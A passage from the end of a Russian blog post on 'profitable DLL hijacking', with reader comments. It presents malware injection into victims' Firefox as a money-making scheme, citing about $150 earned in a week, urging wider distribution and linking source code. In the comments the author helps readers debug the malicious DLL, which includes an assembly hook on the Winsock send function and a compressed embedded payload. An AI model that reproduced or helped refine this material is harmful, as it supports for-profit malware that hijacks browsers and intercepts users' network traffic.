О проценте сработавших инжектов судить можно только косвенно, но по информации знакомого ему удалось заработать ~150$ за 7 дней на этом деле. Для многих это, наверное, не слишком большая сумма, однако тут многое зависит от качества реализации и оригинальности идеи.
Более качественный и функциональный код + несколько удачных раздач + правильный подход смогут дать многократное увеличение прибыли.

Исходные коды: скачать
Программа для сжатия с помощью RtlCompress из комментариев: скачать

Также рекомендую почитать

 Обсудить на форуме


Получать обновления на почту:     

Метки: , , , , .

Комментариев: 72 к “Прибыльный DLL Hijacking”


  1. Arck :

    а как можно трайсить ( TRACE ) асмовский код , я к примеру хочу свою либу написать , как мне ее проверить на работоспособность , не запускать же мне ее каждый раз из инжекта , чтобы видеть ошибку и не знать что делать
    заранее спасибо
    для быстрого обмена предлагаю аськами обменяться , надоедать сильно не буду
    обещаю
    391 569 069

    [Ответить]

    Kaimi:

    Например, OllyDbg

    [Ответить]


  2. Arck :

    мда , точно , а я и забыл про него , все занимался высоким программированием

    [Ответить]


  3. Arck :

    сегодня наткнулся на проблему , сообщение добавляет , а если хочешь удалить любое другое сообщение , то ФФ умирает

    [Ответить]

    Kaimi:

    Я с таким не сталкивался на XP, может косяк в коде, может от версии фф или ос зависит. Вообще можно просто detours воспользоваться и переписать на си, чтобы более менее исключить возможность косяков кода.

    [Ответить]


  4. Arck :

    вот написал компрессор для статьи , может кому-то понадобиться .
    Каими перезалей на страницу статьи , а то с файлообменника скоро удалят , я не думаю , что его скачают больше 1000 раз )))

    [Ответить]

    Kaimi:

    Для этого multiupload есть или фрихосты типа народа.

    [Ответить]

    Arck:

    я по этому и попросил перезалить в саму статью , что все коменты не читали
    и чтобы все статье было

    [Ответить]

    Arck:

    http://rghost.ru/3685768 - profit free ref

    [Ответить]


  5. Arck :

    блин вообще ничего не понимаю
    1) написал свой асмовский код
    2) скомпресил его
    3) перевёл в hex с помошью Perl-a
    4) заменил tempbuf тем , что получилось в 3-ем пункте
    5) запустил 1-ую часть С++ dll inject
    6) ответ положительный, либа загружена , НО Process Explorer НЕ отображает либу в рабочем пространстве FireFox-a

    Все имена совпадают , все сходиться .
    Каими , не подскажешь ?
    Зарание спс . Извени чувак что задалбливаю

    [Ответить]

    Kaimi:

    Ответ положительный от чего?

    [Ответить]

    Arck:

    положительный , что либа загружена , что ошибок нет ,я уже понял , что дело все в асмовском коде , НО я пробовал просто грузить с пустым телом ф-ции

    MyFunc:
    push ebp
    mov ebp,esp

    ;__in SOCKET s, __in const char *buf, __in int len, __in int flags
    HOOK_ORIGINAL_CALL send,4

    pop ebp
    retn 4*4

    [Ответить]

    Kaimi:

    Фиг с функцией, ты же говоришь, что в списке модулей процесса её нет. Мб какие то косяки в libmain?


  6. Arck :

    уже пробовал и LibMain пустой сделать
    .if reason == DLL_PROCESS_ATTACH
    mov eax,1
    .endif
    ret

    [Ответить]

    Arck:

    а вот твою либу пробую ,все нормально

    [Ответить]


  7. Arck :

    ведь можно взять и присоединить ну ВООБЩЕ пустую либу , ведь так ?
    пускай она просто весит в памяти ничего не делает , главное , что можно , но у меня вот и не получается
    П.С. извини Каими , я полный идиот , но писать просто больше некому (((

    [Ответить]

    Kaimi:

    Можно. Тогда трассируй и смотри в чем дело

    [Ответить]


  8. Arck :

    да я понимаю , что трэйсить надо , только никак же не посмотришь .
    в OllyDBg ? там чёрт ногу сломает ((
    ладно буду пробовать
    больше доставать не буду , ... сегодня ))
    Спс чувак , мало кто откликается .

    [Ответить]

    Kaimi:

    В чем проблема то с ollydbg? Атачнись к фф, подгрузи длл, например, с помощью плагина strongod и посмотри что происходит

    [Ответить]

    Arck:

    я последний раз очень давно , что-то делал в Олли , и то было баловство это все .
    вот ты сказал про Stronggod , возьму на вооружение , я даже о таком не слыхал. да и умении отладки в Олли у меня на низчайшем уровне! ))

    [Ответить]


  9. 123 :

    А где собсно код и описание эксплойта который позволяет дллку свою подгрузить?

    [Ответить]

    Kaimi:

    В смысле? Почитай описание что собой представляет dll hijacking, дллку загрузит программа, подверженная данной уязвимости

    [Ответить]


  10. Max :

    Очень интересная тема, но к сожалению не владею С++, пишу немного на java. После долгих попыток никак не получатся скомипилировать первую библиотеку. Вижуал Студио 2010 выдает следующие ошибки при компиляции (нумерация строк совпадает с приатаченным к статье main.cpp):

    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(12): error C2059: синтаксическая ошибка: __stdcall
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: fpRtlDecompressBuffer: необъявленный идентификатор
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "RtlDecompressBuffer"
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: RtlDecompressBuffer: необъявленный идентификатор
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2065: fpRtlDecompressBuffer: необъявленный идентификатор
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(174): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "GetProcAddress"
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2065: NTSTATUS: необъявленный идентификатор
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2146: синтаксическая ошибка: отсутствие ";" перед идентификатором "status"
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(179): error C2065: status: необъявленный идентификатор
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(180): error C3861: RtlDecompressBuffer: идентификатор не найден
    c:\documents and settings\admin\мои документы\visual studio 2010\projects\kaimi\kaimi\dllmain.cpp(191): error C2065: status: необъявленный идентификатор

    [Ответить]

    Kaimi:

    Я в DevCpp компилировал

    [Ответить]

    Max:

    Скомпилировать удалось, но появилась другая проблема. Твоя сишная библиотека работает нормально, но вот если заменить внедренную в нее асмовскую библиотеку то rtlCompressBuffer возвращает ошибку. При чем я пытаюсь вставить твою же mem.asm
    Конкретнее:
    1. Компилирую mem.asm в mem.dll
    2. Сжимаю mem.dll (пробовал сжимать и прогой Arcka и этим кодом http://www.rohitab.com/discuss/index.php?showtopic=35293)
    3. Полученный бинарный файл конвертирую в hex твоим перл-скриптом
    4. Полученный hex вставляю вместо tempbuf
    5. rtlCompressBuffer возвращает "0xC0000242
    STATUS_BAD_COMPRESSION_BUFFER"
    Если вернуть исходный hex то все ок. В чем может быть проблема? Может какие-то специфические параметры сжатия?

    [Ответить]

    Kaimi:

    Размер буфера для распакованных данных увеличь попробуй. Там по-хорошему распаковку надо было бы немного по-другому реализовать.


  11. GrAY :

    Подскажите пожалуйста первую часть кода нужно собирать в .exe

    [Ответить]

    GrAY:

    или в dll :??

    [Ответить]

    Kaimi:

    В dll

    [Ответить]


  12. GrAY :

    теперь не компилируется asm в Dll

    [Ответить]


  13. GrAY :

    файл mem ложу в туже папку с батниками cmd

    [Ответить]


  14. GrAY :

    Если оставляю как есть то вот такая вот ошибка
    http://i002.radikal.ru/1107/a2/8e9dbdec606a.jpg

    [Ответить]

    Kaimi:

    У меня без проблем компилируется, а так видимо какие-то косяки с путями у тебя.

    [Ответить]


  15. zloid :

    Я фанат твоего блога.

    [Ответить]


  16. Yalm :

    У меня такая же проблемма как вы говорите с путями видемо как её исправить подскажите пожалуйста

    [Ответить]


Оставьте ваш комментарий